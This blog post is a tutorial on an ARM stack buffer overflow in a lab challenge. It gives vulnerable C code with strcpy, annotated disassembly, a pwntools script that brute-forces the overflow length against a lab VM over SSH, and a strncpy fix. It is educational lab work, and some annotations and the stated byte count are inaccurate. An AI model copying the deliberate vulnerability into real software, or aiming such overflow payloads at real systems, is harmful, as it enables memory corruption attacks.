DEV Community

Cover image for ARM BoF exploit via pwntools
hextrace
hextrace

Posted on

1

ARM BoF exploit via pwntools

This is our source code for the third exploit of this series on ARM hacking:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int main()
{
    int vulnerable = 42;
    char buffer[64] = { 0 };
    char *var = getenv("POC");

    if (var == NULL)
        errx(1, "set POC!\n");

    vulnerable = 42;
    strcpy(buffer, var);
    if (vulnerable != 0xdeadbeef)
        errx(1, "nope\n");

    printf("congrats!\n");
}
Enter fullscreen mode Exit fullscreen mode

Our goal will be to understand ARM implementation of this, to identify the vulnerability and to exploit it!

The program disassembly:

000005bc <main>:
prolog:
 5bc:   b580            push    {r7, lr}
 5be:   b092            sub     sp, #72                 ; 0x48 bytes stackframe
 5c0:   af00            add     r7, sp, #0
 5c2:   232a            movs    r3, #42 ; 0x2a          ; r3 = 42
 5c4:   647b            str     r3, [r7, #68]           ; store 42 at first int in stack
 5c6:   463b            mov     r3, r7          ; buffer is at the other end of the stackframe
 5c8:   2240            movs    r2, #64                 ; r2 = 64
 5ca:   2100            movs    r1, #0                  ; r1 = '\0'
 5cc:   4618            mov     r0, r3          ; r0 = buffer
 5ce:   f7ff ef5c       blx     488 <memset@plt>        ; memset(buffer, '\0', 64); // bzero buffer
 5d2:   4b16            ldr     r3, [pc, #88]           ; (62c <main+0x70>)
 5d4:   447b            add     r3, pc
 5d6:   4618            mov     r0, r3
 5d8:   f7ff ef3e       blx     458 <getenv@plt>        ; getenv("POC");
 5dc:   6438            str     r0, [r7, #64]           ; r7 = var
 5de:   6c3b            ldr     r3, [r7, #64]           ; r3 = *var
 5e0:   2b00            cmp     r3, #0                  ; var == NULL?
 5e2:   d105            bne.n   5f0 <main+0x34>

poc_not_set:
 5e4:   4b12            ldr     r3, [pc, #72]           ; (630 <main+0x74>)
 5e6:   447b            add     r3, pc
 5e8:   4619            mov     r1, r3                  ; r3 = "set POC!\n"
 5ea:   2001            movs    r0, #1                  ; r0 = 1
 5ec:   f7ff ef52       blx     494 <errx@plt>          ; errx(1, "set POC\n");

copy_in_buffer:
 5f0:   232a            movs    r3, #42                 ; r3 = 42
 5f2:   647b            str     r3, [r7, #68]           ; vulnerable = 42 (oops, I initialized twice, see 0x5c4!)
 5f4:   463b            mov     r3, r7                  ; r3 = 42
 5f6:   6c39            ldr     r1, [r7, #64]           ; r1 = buffer
 5f8:   4618            mov     r0, r3                  ; r0 = var
 5fa:   f7ff ef28       blx     44c <strcpy@plt>        ; strcpy(buffer, var);
 5fe:   6c7a            ldr     r2, [r7, #68]           ; r2 = vulnerable
 600:   f64b 63ef       movw    r3, #48879              ; 0xbeef
 604:   f6cd 63ad       movt    r3, #57005              ; 0xdead
 608:   429a            cmp     r2, r3                  ; vulnerable == 0xdeadbeef?
 60a:   d005            beq.n   618 <main+0x5c>

bad_boy:
 60c:   4b09            ldr     r3, [pc, #36]           ; (634 <main+0x78>)
 60e:   447b            add     r3, pc
 610:   4619            mov     r1, r3                  ; r1 = "nope\n"
 612:   2001            movs    r0, #1                  ; r0 = 1
 614:   f7ff ef3e       blx     494 <errx@plt>          ; errx(1, "nope\n");

good_boy:
 618:   4b07            ldr     r3, [pc, #28]           ; (638 <main+0x7c>)
 61a:   447b            add     r3, pc
 61c:   4618            mov     r0, r3                  ; r0 = "congrats!\n");
 61e:   f7ff ef22       blx     464 <puts@plt>          ; puts("congrats\n");
 622:   2300            movs    r3, #0
 624:   4618            mov     r0, r3                  ; return EXIT_SUCCESS;

epilog:
 626:   3748            adds    r7, #72 ; 0x48
 628:   46bd            mov     sp, r7
 62a:   bd80            pop     {r7, pc}

string_pool:
 62c:   000000b4
 630:   000000a6
 634:   0000008a
 638:   00000086
Enter fullscreen mode Exit fullscreen mode

Here is an exploit using pwntools:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 64
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0xdeadbeef)
    process = socket.process(
        executable='/root/protostarm/stack2/stack2',
        env={"POC": payload}
    )
    res = process.recv().decode()
    print('res =', res)
    process.close()
    if 'congrats' in res:
        break

socket.close()
Enter fullscreen mode Exit fullscreen mode

Our vulnerable variable is stored at sp+68. strcpy will copy our var including the terninating null byte ('\0'). We such need to fill the stack with 69 bytes before overwriting the vulnerable variable:

user@Azeria-Lab-VM:~/protoarm/stack2$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 65
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 740
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 740)
test 66
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 744
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 744)
test 67
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 748
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 748)
test 68
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 752
res = congrats!

[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 752)
[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

A more secure version of this program could use strncpy in place of strcpy. Here is a pseudo implem of it:

char *strncpy(char *dest, const char *src, size_t n)
{
    size_t i = 0;

    // fill dest buffe with at most n bytes preventing bof if n is well chosen
    for (i = 0; i < n && src[i] != '\0'; i++)
        dest[i] = src[i];

    // fill the rest of the buffer with null bytes
    for ( ; i < n; i++)
        dest[i] = '\0';

    return dest;
}
Enter fullscreen mode Exit fullscreen mode

There are other alternatives such as strlcpy, strcpy_s, and many more.

I hope you enjoyed it!

Top comments (0)

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay